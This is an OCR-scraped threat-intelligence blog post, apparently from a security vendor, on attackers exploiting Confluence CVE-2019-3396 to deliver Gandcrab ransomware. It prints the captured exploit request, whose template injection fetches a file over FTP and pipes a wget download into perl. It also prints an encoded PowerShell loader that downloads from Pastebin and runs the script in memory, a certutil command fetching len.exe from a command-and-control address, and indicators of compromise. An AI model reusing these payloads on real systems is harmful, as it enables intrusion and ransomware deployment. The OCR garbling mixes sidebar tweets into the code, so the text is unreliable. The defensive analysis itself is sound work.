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Overview

Exploit code for a new vulnerability in Confluence (CVE-2019-3396) has been
rapidly deployed by attackers and successfully used to breach hosts. We have
observed attempts by these campaigns to execute Gandcrab ransomware on the
victim hosts via PowerShell and usage of standard toolsets to avoid detection.
Readers are encouraged to assess and patch their environments for this
vulnerability as soon as possible.

Confluence Vector Exploited

On March 20, 2019 Atlassian announced a set of critical vulnerabilities
(https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-
966660264.html) had been recently patched in their Confluence Server and Data
Center software. One of these vulnerabilities was in their widget connector and

assigned CVE-2019-3396 (https://nvd.nist.gov/vuln/detail/CVE-2019-3396),

enabling an attacker to inject commands into ‘_template’ to achieve

unauthenticated remote code execution. Unauthenticated remote code
execution attacks are the golden goose for malicious actors as it allows them to
rapidly gain complete control over the victim host. It also allows the most

effective platform for persistence and future lateral movement.

Proof of concept code for the vulnerability was made available in the public

domain (https://paper.seebug.org/886/) on the April 10 and by the next day we

were observing the first weaponized attack attempts using this new vector. This
emphasizes yet again the critical nature of patching as a core component of your
security protection. Don’t wait until exploit code appears in the public domain,

or you are reading this blog, to react. By then it might well be too late.

Within a week of the first exploit code appearing within our data lake we saw the
first set of breached customers. The first of these customers was being directed
the malicious payloads to interact with an IP address which is well known and
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ritical Watch Center

The initial payload which exdbtRs:

controlled IP over FTP and fetched a file called win.vm.

POST/rest/tinymce/1/macro/preview HTTR/1.1

Host: x.x.x.x

Connection: keep-alive

Accept-Encoding: gzip, deflate

Accept: */*

User-fgent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Content-Type: application/json; charset=utf-8

Referer: http://x.x.x.x:8080/pages/resumedraft.action?draftld=12345&draftShareld=056b55bc-fcda-
487b-blel-8f673f280c238&

Content-Length: 240

{"contentld":"12345","macro":{"name":"widget","body":"","params":{"url":"http://x.x.x.x/video/xcp
a64","width™:"300","height":"200","_template":"ftp://185[.]234[.]218[.]248/win.vm","cmd":"wget
http://185[.]234[.]218[.]248/bt1.txt%20 | perl"}}}

The win.vm file contained a PowerShell script which checked the architecture
then fetched the appropriate script from Pastebin and invoked it in to memory.
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A glremd.exe j¢ ystem system32\WindowsPowershell\v1.0\powershell.exe -nop -w
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cgBOACOAUABY (https://www.alertlogic.com/partners-overview/)
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Critical Watch Center
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QBuAH

OAKOQAUAGOADWB3AGAADABVAGEAZABZAHOACEBpAGAAZ wAOACCABABDAHOACABZADOALWAVAHA
AYQBzAHOAZOBIAGKADZAUAGMADWBTACSACEBhAHCALWBWAESAWAASADEACWBLAGOAIWAPACKA
OwBJAG4AdgBv
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AgAEKARQBYACAAKAADAGAAZOB3ACDAbWBIAGOAZQBJAHQAIABUAGUAdAAUAHCAZ QBIAGMADABD
AGUAbgBOACKALZBKAGSAdWBUAGWADWBhAGQACWBOAHIASQBUAGCAKAANAGEAJABOAHAACWASGA
CBALWBWAGEA

cWBOAGUAYgBpAGAALEBjAGEADQAVAHIAYOB3ACBAVEBLAFZAODALAHMASWBGACCAKQAPADSASQ

BuAHYAbwBrAGUALOBEAFIAWOBOAEYAVWBaAFgASZBPAEKASOBLAEZASZBVAESATOBDAEODAUABIA
FoARwWBMAD

sAUWBOAGEACEBOACOAUWBSAGUAZ QBwWACAALOBZACAAMOAWADAAMAAWADAAMAATACAATOA="
)

#set (Sinput=5e.getClass().forName("java.lang.Process").getMethod("getinputStream"”).invoke(S$a))
#set(Ssc = Se.getClass().forName("java.util.5canner"))
#set(Sconstructor = $sc.getDeclaredConstructor(Se.getClass().forName("java.io.InputStream"}))
#set(Sscan=Sconstructor.newlnstance({Sinput).useDelimiter("\\A"))
#if(Sscan.hasNext())

Sscan.next()

#end

If we decode the PowerShell command in that payload, we get the following,

which shows the callout to Pastebin:

If(SENV:PROCESSOR_ARCHITECTURE -contains 'AMD64'){ Start-Process -FilePath
"SEnv:WINDIR\SysWOWs4\WindowsPowerShell\v1.0\powershell.exe" -argument "IEX {(new-object
net.webclient).downloadstring(' hxoeps://pastebin.com/raw/VKX98sKj'));Invoke-
DRYPFWZXIOIKHIUHMCMPIZGL; Start-Sleep -s 1000000;"else] IEX {(new-object
net.webclient).downloadstring('hxoips://pastebin.com/raw/VKX98sKj'));Invoke-
DRYPFWZXJOIIKHIUHMCMPIZGL;Start-Sleep -s 1000000; }

Gandcrab

The script hosted on Pastebin and the calling script decoded from win.vm will be
familiar to anyone who had researched Gandcrab campaigns

(https://www.carbonblack.com/2019/01/24/carbon-black-tau-threatsight-

analysis-gandcrab-and-ursnif-campaign/) earlier in the year and is familiar with

the Empire Project

(https://github.com/EmpireProject/PSInject/blob/master/Invoke-

instance is that the delivery mechanism is not a malicious document, such as a
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ners
function Tnvoke-LVUNAQCOBHNYWUR (https://www.alertlogic.com/partners-overview/)
{
(CmdletBinding()] AbOUtUS

Param(
[Parameter (Position = 0, Mandatory = $t:
[ValidateNotNullOrEmpty()]

[Byte[]]

$pEngtes, Critical Watch Center y LATEST

[Parameter (Position = 1)]

et e, (https://www.alertlogic.com/resources/cwc) TWEETS

[Parameter(Position = 2)]
[ValidateSet( 'WString', 'String', 'Void' )]
[String]

{Hittps://www.alertlogic.com/about-us/)

$FuncReturnType = 'Void',
[Parameter (Position = 4)]
Sproetd, @alertlogic
(reraneter (Rosition = 5)) (https://twitter.com/alertlogic)
$procNane, Today is the Alert Logic
{orceadiz, SOC Open Day at our
SooNorzorcks Cardiff HQ - we'll be
! introducing a simpler
way to effective threat
ma...
And here https://t.co/c44z0AbGXT

(https://t.co/c44zOAbGXT)

Retweets: 1 Likes: 2
s aaaaaaaaaaas
et aAvart P cmdr a6t (FPREy b33

ke LYUNAGEORININUH -PEyten. SpEbyLes 24 April
(https://twitter.com/alertlogic/status/1120975805784391680)

Reply
The script above aims to inject the base64 encoded PE file into the process (https://twitter.com/intent/tweet?
started from win.vm. When we decoded and extracted the file, strings identified in_reply_to=1120975805784391680)
in the code revealed krab5.dll was being used. This is a strong indication to us
Retweet

that this was a Gandcrab sample that we were looking at, as below. (https://twitter.com/intent/retweet?

tweet_id=1120975805784391680)

Like
(https://twitter.com/intent/favorite?
tweet_id=1120975805784391680)
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@alertlogic

The link to Gandcrab was enhanced given we also observed calls to sirvm which (https://twitter.com/alertlogic)

hat C i
downloaded len.exe using known lolbin cerutil (https://lolbas- What Can Automation

Learn From DevOps?

project.github.io/lolbas/Binaries/Certutil/). Lolbins are well known standard https://t.co/u02YIgMs5y
binaries which attackers use to try and fly under the radar - since they are often (https://t.co/u02YIgMs5y)
present as standard on system and thus draw less attention than use of more #CyberSecurity

(https://twitter.com/search?

esoteric or customer attacker tools. Certutil has been observed in other )
q=%23CyberSecurity&src=hash)

Gandcrab campaigns to date as a known tactic. The code for sir.vm looks like #CISO

this: (https://twitter.com/search?
q=%23CISO&src=hash)
#CIO

(https://twitter.com/search?
q=%23CI0&src=hash)
#devops
(https://twitter.com/search?
q=%23devops&src=hash)
#devsecops
(https://twitter.com/search?
q=%23devsecops&src=hash)
#ITops
(https://twitter.com/search?
q=%23ITops&src=hash)
Retweets: 1 Likes: 0
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#set (Se="axp") Product & Solutions 23 April
. I (https://www.alertlogic.com/solutions/product-overview-afHESEi com/alertiogic/status/1120849850780745733)
Reply

§S | sﬂ}efﬂ'llgyg(é YA rﬁ&wuﬂ%ﬁg@%hqg{“gemuntime",null].invoke[s_wbub&fxe
Cmd.exe /C certutil.eke -uricache -split - http://188[]166[.]74[.]218/len.exe

%TEMPY%/len.exe&cmd.exe /& %TENIREDS /Maviw.alertlogic.com/resources/) (https://support.al X R/SIWIES g m/intent/ tweet?

Partners
#set (Sinput=5e.getClass().forName("Java.lang. Process").getMethod("getinputStream").invoke(S$a))
(https://www.alertlogic.com/partners-overview/)

#set(Ssc= Se.getclass{J.forNamet“jﬁrg.gﬂlt%asnner“]}

#set(Sconstructor = $sc.getDeclaredrtgsaffovibmeetidatb dichcom/dyairtus istream”)))

#set(Sscan=Sconstructor.newlnsta n%%&%@&@mm"]}
(https://www.alertlogic.com/resources/cwc)

#if(Sscan.hasMext())
Sscan.next()

#end

The payload being delivered by sir.vm is len.exe which ends up being a packed
sample of Gandcrab 5.2. Most likely this method of delivery is being used to
avoid detection as this was transferred over the wire and not encoded in a script.

Summary

Previous RCE vulnerabilities leveraged by ransomware campaigns include

SamSam (https://blog.alertlogic.com/blog/samsam-ransomware/), which

exploited a Jboss vulnerability in 2016. From 2017 onwards as cryptominer
popularity increased we have observed a drop in ransomware being delivered to
vulnerable endpoints. This re-emergence of ransomware as the outcome of an
unauthenticated remote code execution vulnerability may be an opportunist use
of ransomware instead of cryptominers due to the nature of the vulnerability
being used. Given that CVE-2019-3396 targets Confluence (which is a wiki
platform) then the application in question will potentially hold valuable
company information and may not be sufficiently backed up. The attackers may
be making a judgement call that the likelihood of pay-out is a sufficiently higher
return than could be expected mining cryptocurrency on the host.

Indicators of Compromise

Command and Control servers

e 185[.]234[.]218[.]248
o 188[.]166[.]74[.]218

Pastebin PowerShell script
o hxxps://pastebin[.Jcom/raw/VKX98sKj
Hashes

e 1064e288b3bdc80e8017e6538ffb36a9384afabe3aef8fc48b1bf7b8136754b5 -
gandcrab pastebin
e 18e67a910c6db2e05481c43c751ab07fab5d8fc36b3c747677d8619202a40eel

- len.exe
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Retweet
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